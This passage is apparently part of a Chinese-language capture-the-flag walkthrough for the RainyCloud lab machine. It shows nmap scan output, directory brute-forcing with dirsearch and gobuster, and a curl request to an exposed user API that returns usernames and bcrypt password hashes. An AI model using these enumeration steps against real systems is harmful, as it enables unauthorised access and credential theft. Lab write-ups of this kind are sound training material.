PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 48:dd:e3:61:dc:5d:58:78:f8:81:dd:61:72:fe:65:81 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN7V52f3opQgMThQFMGLiVJwoyBGgoAofPCC7Ipup6ivu7cYi67jBYLzUZMbwpmTBtElMitUHbd+GzeNFJyR8n4= | 256 ad:bf:0b:c8:52:0f:49:a9:a0:ac:68:2a:25:25:cd:6d (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPAoadmai/5+eCI0EoWpdjzBn8qCAQiPDlv2j5HDwv9h 80/tcp open http syn-ack nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://rainycloud.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80
添加hosts访问网站,发现有登录口,但是不能注册。
echo'10.10.11.184 rainycloud.htb'|sudo tee -a /etc/hosts
在尝试注册失败后,有报错信息。从报错信息中知道网站路径和后端使用的是python
<!-- Sign In Form --> <!-- RainyCloud-4: TODO - Remove debug errors from prod --> <h4> Error - Login Incorrect! <!-- /var/www/rainycloud/./app.py:288 --></h4>
目录扫描:
dirsearch -u http://rainycloud.htb
扫到一个有用的后台/api,然后得到了三个用户和hash。
gobuster dir -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://rainycloud.htb/api/user/ --exclude-length 3
curl "http://rainycloud.htb/api/user/1.0"
jack $2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O root $2a$05$x4nSvCqGHZBmBQnmNM2nXeWDzVvvsXaJiHsSv1pwZnxrcBFbOibZS gary $2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG